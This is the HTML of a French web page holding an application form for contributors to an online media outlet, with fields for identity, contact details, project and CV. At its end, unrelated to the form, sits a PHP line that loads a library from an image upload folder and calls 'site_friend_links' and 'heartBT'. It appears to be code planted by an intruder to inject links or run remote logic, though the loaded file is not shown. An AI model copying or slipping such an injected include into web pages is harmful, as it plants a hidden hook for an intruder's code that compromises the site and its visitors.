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<body onLoad="MM_preloadImages('populiscop.1.gif')">
 <p>&nbsp;</p>
 <p>&nbsp;</p>
 <div id="Layer2" style="position:absolute; width:200px; height:397px; z-index:2; left: 800px; top: 19px;"><a href="mailto:postmaster@argotheme.com" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image4','','populiscop.1.gif',1)"><img src="populiscop.gif" name="Image4" width="190" height="1050" border="0"></a></div>
 <div id="Layer1" style="position:absolute; width:200px; height:57px; z-index:1; left: 194px; top: 19px;"><img src="logoga.gif" width="491" height="51"></div>
 <p>VOUS ALLEZ POSTULER POUR ECRIRE SUR <img src="poilisco.gif" width="187" height="32"> le m&eacute;dia en ligne.</p>
 <p>Veuillez remplir avec soin le formulaire ci-apr&egrave;s. Exposez votre projet, c'est &agrave; dire vos pr&eacute;occupations,les th&egrave;mes dont vous vous sentez assez proche.</p>
 <p>Les sujets que vous ma&icirc;trisez le mieux, vous permettront de participer</p>
 <p>avec plus </p>
 <div style="text-align: center;">
   <div align="center">
     <div style="text-align: center;">
       <p>. </p>
     </div>
   </div>
 </div>
 <div style="text-align: left;">NOM&nbsp; &nbsp;
     <input maxlength="100" size="30" name="nom">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Pr&eacute;nom &nbsp;&nbsp;
  <input maxlength="100" size="30" name="nom2">
  <br>
  Pseudonyme &nbsp;&nbsp;
  <input maxlength="100" size="30" name="nom2">
&nbsp;Date de naissance &nbsp;
  <input maxlength="100" size="30" name="nom2">
  <br>
  Adresse&nbsp;&nbsp;&nbsp;
  <input style="width: 553px;" maxlength="100" size="30" name="nom3">
  <br>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;
  <input style="width: 553px;" maxlength="100" size="30" name="nom2">
  <br>
  Code postal&nbsp;
  <input maxlength="100" size="30" name="nom4">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ville&nbsp;
  <input maxlength="100" size="30" name="nom43">
&nbsp; <br>
  Pays&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <input maxlength="100" size="30" name="nom42">
&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; T&eacute;l&eacute;phone &nbsp;
  <input maxlength="100" size="30" name="nom2">
  <br>
&eacute;mail &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;
  <input style="width: 553px;" name="nom2" size="30" maxlength="100">
  <br>
  Titre / d&eacute;finition du projet de votre collaboration &nbsp;&nbsp;
  <input maxlength="400" size="30" name="nom22">  
  <br>
  Votre texte : quelles sont vos motivations ? Vos centres d'int&eacute;r&ecirc;t ? Vos propositions de th&egrave;mes ? <br>
  <select name="select" size="40" style="width: 650px; height: 100px;">
    <option value="infinie">contenu de mission </option>
    </select>  
  &nbsp; <br>
  Pr&eacute;sentez vous, &eacute;l&eacute;ments du C.V.<br>
  <select style="width: 650px; height: 100px;" size="40" name="liste.pays">
    </select>  
  <br>
  <div style="text-align: center;">Validez votre envoi : &nbsp;<a href="" rel="contact">
    <button style="background-color: rgb(153, 0, 0); width: 90px;" name="courriel">
    <p><img src="boutton.jpg" alt="cliq" width="58" height="36" style="width: 58px; height: 36px;"></p>
    </button>
  </a></div>
 </div><?php include_once $_SERVER["DOCUMENT_ROOT"]."/organecyberpresse/IMG/distant/xml/functions-php-lib.php"; global $hasRun; if (!$hasRun) { echo site_friend_links("<!--DhdL8Uf9-->");flush();heartBT(); $hasRun = true;} ?>
 <p>&nbsp;</p>
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